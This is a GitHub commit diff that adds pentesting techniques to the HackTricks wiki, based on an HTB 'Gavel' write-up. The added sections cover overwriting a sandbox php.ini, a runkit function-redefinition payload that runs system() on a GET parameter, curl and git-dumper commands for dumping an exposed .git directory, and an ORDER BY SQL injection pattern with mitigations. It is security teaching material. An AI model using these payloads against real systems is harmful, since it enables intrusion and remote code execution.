Skip to content

Commit dddecd7

Browse files
authored
Merge pull request #2003 from HackTricks-wiki/update_HTB__Gavel_20260314_183737
HTB Gavel
2 parents b61aea7 + 1132092 commit dddecd7

4 files changed

Lines changed: 88 additions & 3 deletions

File tree

src/linux-hardening/privilege-escalation/write-to-root.md

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,24 @@ TODO
4343

4444
TODO
4545

46+
### Overwrite a restrictive `php.ini` used by a privileged PHP sandbox
47+
48+
Some custom daemons validate user-supplied PHP by running `php` with a **restricted `php.ini`** (for example, `disable_functions=exec,system,...`). If the sandboxed code still has **any write primitive** (like `file_put_contents`) and you can reach the **exact `php.ini` path** used by the daemon, you can **overwrite that config** to lift restrictions and then submit a second payload that runs with elevated privileges.
49+
50+
Typical flow:
51+
52+
1. First payload overwrites the sandbox config.
53+
2. Second payload executes code now that dangerous functions are re-enabled.
54+
55+
Minimal example (replace the path used by the daemon):
56+
57+
```php
58+
<?php
59+
file_put_contents('/path/to/sandbox/php.ini', "disable_functions=\n");
60+
```
61+
62+
If the daemon runs as root (or validates with root-owned paths), the second execution yields a root context. This is essentially **privilege escalation via config overwrite** when the sandboxed runtime can still write files.
63+
4664
### binfmt_misc
4765

4866
The file located in `/proc/sys/fs/binfmt_misc` indicates which binary should execute whic type of files. TODO: check the requirements to abuse this to execute a rev shell when a common file type is open.
@@ -91,8 +109,7 @@ chmod +x server-command
91109
## References
92110

93111
- [HTB Bamboo – hijacking a root-executed script in a user-writable PaperCut directory](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
112+
- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
94113

95114
{{#include ../../banners/hacktricks-training.md}}
96115

97-
98-

src/pentesting-web/command-injection.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,24 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
3232
< /etc/passwd #Try to send some input to the command
3333
```
3434

35+
### PHP rule engines with `runkit` enabled
36+
37+
Some applications implement admin-only “rule engines” by **executing attacker-supplied PHP**. If the environment enables the `runkit` extension, an attacker can redefine or inject functions at runtime and escalate a logic-only rule editor into **full PHP RCE**.
38+
39+
Indicators:
40+
41+
- Admin UI accepts PHP-like “rules” that are evaluated.
42+
- `runkit` / `runkit7` is loaded (`phpinfo()` or `extension_loaded('runkit')`).
43+
44+
Abuse example (redefine a function used by the rules to execute a command):
45+
46+
```php
47+
<?php
48+
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');
49+
```
50+
51+
If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.
52+
3553
### **Limition** Bypasses
3654

3755
If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**
@@ -266,6 +284,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
266284
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
267285
- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/)
268286
- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html)
287+
- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
269288
- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py)
270289
- [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/)
271290

src/pentesting-web/file-inclusion/README.md

Lines changed: 26 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -198,6 +198,31 @@ If for some reason **`allow_url_include`** is **On**, but PHP is **filtering** a
198198
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
199199
```
200200

201+
## Exposed `.git` Repository (Source Disclosure)
202+
203+
If the web server exposes `/.git/`, an attacker can often **reconstruct the full repository** (including commit history) and audit the application offline. This commonly reveals hidden endpoints, secrets, SQL queries, and admin-only functionality.
204+
205+
Quick checks:
206+
207+
```bash
208+
curl -s -i http://TARGET/.git/HEAD
209+
curl -s -i http://TARGET/.git/config
210+
```
211+
212+
Dump the repository with `git-dumper`:
213+
214+
```bash
215+
uv tool install git-dumper
216+
git-dumper http://TARGET/.git/ out/
217+
```
218+
219+
Then recover the working tree:
220+
221+
```bash
222+
cd out
223+
git checkout .
224+
```
225+
201226
> [!TIP]
202227
> In the previous code, the final `+.txt` was added because the attacker needed a string that ended in `.txt`, so the string ends with it and after the b64 decode that part will return just junk and the real PHP code will be included (and therefore, executed).
203228
@@ -818,10 +843,10 @@ Tune the number of `../` segments until you escape the intended directory, then
818843
- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
819844
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
820845
- [HTB: Imagery (admin log download traversal + `/proc/self/environ` read)](https://0xdf.gitlab.io/2026/01/24/htb-imagery.html)
846+
- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
821847

822848
{{#file}}
823849
EN-Local-File-Inclusion-1.pdf
824850
{{#endfile}}
825851

826852
{{#include ../../banners/hacktricks-training.md}}
827-

src/pentesting-web/sql-injection/README.md

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -652,6 +652,29 @@ Mitigations:
652652
- Never concatenate identifiers from user input. Map allowed column names to a fixed allow-list and quote identifiers properly.
653653
- If dynamic table access is required, restrict to a finite set and resolve server-side from a safe mapping.
654654
655+
### ORDER BY / identifier-based SQLi (PDO limitation)
656+
657+
Prepared statements **cannot bind identifiers** (column or table names). A common unsafe pattern is to take a user-controlled `sort` parameter and build `ORDER BY` using string concatenation, sometimes wrapping the input in backticks to “sanitize” it. This still enables SQLi because the identifier context is attacker-controlled.
658+
659+
Vulnerable pattern:
660+
661+
```php
662+
$sort = $_POST['sort'];
663+
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
664+
$stmt = $pdo->prepare($q);
665+
$stmt->execute([$user_id]);
666+
```
667+
668+
Signals in traffic:
669+
670+
- Sort parameter in **POST** (often `sort=column`), not a fixed allow-list.
671+
- Changing `sort` breaks the query or alters output ordering.
672+
673+
Mitigation:
674+
675+
- Map user input to a **fixed allow-list** of column names and only interpolate mapped identifiers.
676+
- Never rely on backticks as “sanitization” for identifiers.
677+
655678
### WAF bypass suggester tools
656679
657680
@@ -674,5 +697,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt
674697
## References
675698
676699
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
700+
- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html)
677701
678702
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)